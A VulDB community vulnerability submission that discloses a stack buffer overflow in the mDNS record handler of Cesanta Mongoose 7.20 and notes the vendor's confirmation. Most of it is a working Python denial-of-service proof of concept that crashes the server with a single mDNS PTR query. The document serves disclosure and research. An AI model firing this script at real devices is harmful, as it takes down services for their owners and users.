COMMUNITY CONTENT

Submit #770103: Cesanta Mongoose 7.20 Stack-based Buffer Overflow

Title	Cesanta Mongoose 7.20 Stack-based Buffer Overflow
Description	Stack buffer overflow in Mongoose v7.20 mDNS In `handle_mdns_record()` in `mongoose.c` allocates a fixed 282-byte stack buffer to build mDNS responses: https://github.com/cesanta/mongoose/blob/eefec28b50bd9b2f08efd2477d033907f27cd837/mongoose.c#L509 ```c uint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4]; // = 12 + 256 + 10 + 4 = 282 bytes ``` When responding to a PTR query, the function packs **four DNS records** (PTR + SRV + TXT + A) sequentially into this single buffer without any bounds checking. The buffer was sized for a single DNS name (256 bytes) but a PTR response for a device with standard mDNS service metadata easily exceeds 282 bytes. The critical unbounded copy is in `build_txt_record()`: ```c memcpy(p, r->txt.buf, r->txt.len), p += r->txt.len; // NO BOUNDS CHECK ``` By the time `build_txt_record()` is called, the pointer `p` is already ~218 bytes into the 282-byte buffer (after PTR + SRV records), leaving only ~64 bytes. Any TXT record larger than ~64 bytes overflows the stack. ### Impact The overflow corrupts saved registers (`$s0`-`$s8`) and the return address (`$ra`) on the MIPS stack. When `handle_mdns_record()` returns, execution jumps to a corrupted address, crashing the process. ### Disclosure Vendor contacted Feb 26 and CONFIRMED the vulnerability. ### Exploit

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

Due to the nature of the library, I could not target a single device or hardware configuration, so I had to create one myself via qemu, no ASLR, no PIE, no stack canaries (typical embedded/IoT firmware). I am attaching the DoS exploit.

1. **Standard mDNS PTR query** -- Send `_http._tcp.local IN PTR` to UDP 5353
2. **Multi-record response** -- Server builds PTR + SRV + TXT + A records into `buf[282]`
3. **Stack overflow** -- Combined response (668 bytes) overflows 282-byte buffer by 386 bytes
4. **Register corruption** -- Overflow overwrites saved `$s0`-`$s8` and `$ra` on stack
5. **Crash** -- `handle_mdns_record()` returns via corrupted `$ra`, SIGSEGV

```python
#!/usr/bin/env python3
import socket
import struct
import sys
import time


def build_mdns_ptr_query(service="_http._tcp"):
    """
    Build a standard mDNS PTR query for a service type.

    DNS packet format:
      Header (12 bytes): txnid, flags, qdcount=1, ancount=0, nscount=0, arcount=0
      Question: <service>.local IN PTR

    This is a completely standard mDNS query -- any mDNS client
    (avahi-browse, dns-sd, Bonjour) sends the same packet.
    """
    # DNS header: txnid=0, flags=0 (standard query), 1 question
    header = struct.pack(">HHHHHH", 0x0000, 0x0000, 1, 0, 0, 0)

    # Encode service name as DNS labels
    # "_http._tcp" -> \x05_http\x04_tcp
    # Then append .local -> \x05local\x00
    parts = service.split(".")
    query_name = b""
    for part in parts:
        query_name += bytes([len(part)]) + part.encode()
    query_name += b"\x05local\x00"

    # Query type: PTR (12), class: IN (1)
    query = query_name + struct.pack(">HH", 12, 1)

    return header + query


def send_query(host, port, packet, timeout=3):
    """Send a UDP mDNS query and wait for response."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)
```

```
    try:
        sock.sendto(packet, (host, port))
        try:
            data, addr = sock.recvfrom(4096)
            return data, addr
        except socket.timeout:
            return None, None
    finally:
        sock.close()


def check_server_alive(host, http_port, timeout=3):
    """Check if the HTTP server is still responsive."""
    import urllib.request

    try:
        urllib.request.urlopen(
            f"http://{host}:{http_port}/api/status", timeout=timeout)
        return True
    except Exception:
        return False


def exploit(host, mdns_port, http_port):
    service = "_http._tcp"

    print(f"\n[*] Building mDNS PTR query for {service}.local ...")
    packet = build_mdns_ptr_query(service)
    print(f"    Packet size: {len(packet)} bytes (standard mDNS query)")

    # Verify server is alive before exploit
    print(f"\n[*] Checking server status (HTTP {host}:{http_port}) ...")
    if check_server_alive(host, http_port):
        print(f"    Server is alive")
    else:
        print(f"    WARNING: Server not responding on HTTP (may not be running)")

    # Send the trigger query
    print(f"\n[*] Sending mDNS PTR query to {host}:{mdns_port} ...")
    print(f"    This triggers handle_mdns_record() to build a PTR response")
    print(f"    that overflows the 282-byte stack buffer in mongoose.c")

    data, addr = send_query(host, mdns_port, packet, timeout=3)

    if data is not None:
        print(f"    Got response ({len(data)} bytes) from {addr}")
    else:
        print(f"    No response (timeout) -- server likely crashed!")

    # Check if server is still alive
    print(f"\n[*] Checking server status after exploit ...")
    time.sleep(1)
```

```
    if check_server_alive(host, http_port, timeout=3):
        print(f"    Server still alive (overflow may not have reached $ra)")
        return False
    else:
        print(f"    SERVER DOWN -- stack buffer overflow corrupted $ra!")
        print(f"    Confirmed: single mDNS PTR query crashes the server")
        print(f"    Bug is in mongoose.c handle_mdns_record()")
        return True


if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    mdns_port = int(sys.argv[2]) if len(sys.argv) > 2 else 15353
    http_port = int(sys.argv[3]) if len(sys.argv) > 3 else 8080

    print("=" * 65)
    print("Mongoose mDNS Stack Buffer Overflow (MIPS32 LE)")
    print("=" * 65)
    print(f"Target:    {host}")
    print(f"mDNS:      UDP port {mdns_port}")
    print(f"HTTP:      TCP port {http_port} (for liveness check)")
    print(f"Arch:      MIPS32 little-endian (mipsel), musl libc, QEMU")
    print()
    print(f"Vulnerability: handle_mdns_record() in mongoose.c dns.c")
    print(f"  buf[282] overflows when building PTR response with")
    print(f"  combined PTR+SRV+TXT+A records > 282 bytes")
    print(f"  Attack: single UDP packet (34 bytes)")
    print()

    crashed = exploit(host, mdns_port, http_port)
    print()
    sys.exit(0 if crashed else 1)
```

User	the_evilsocket (UID 96063)
Submission	03/02/2026 05:37 PM (1 month ago)
Moderation	04/02/2026 09:43 AM (1 month later)
Status	Accepted
VulDB entry	354826 [Cesanta Mongoose up to 7.20 mDNS Record mongoose.c handle_mdns_record buf stack-based overflow]
Points	17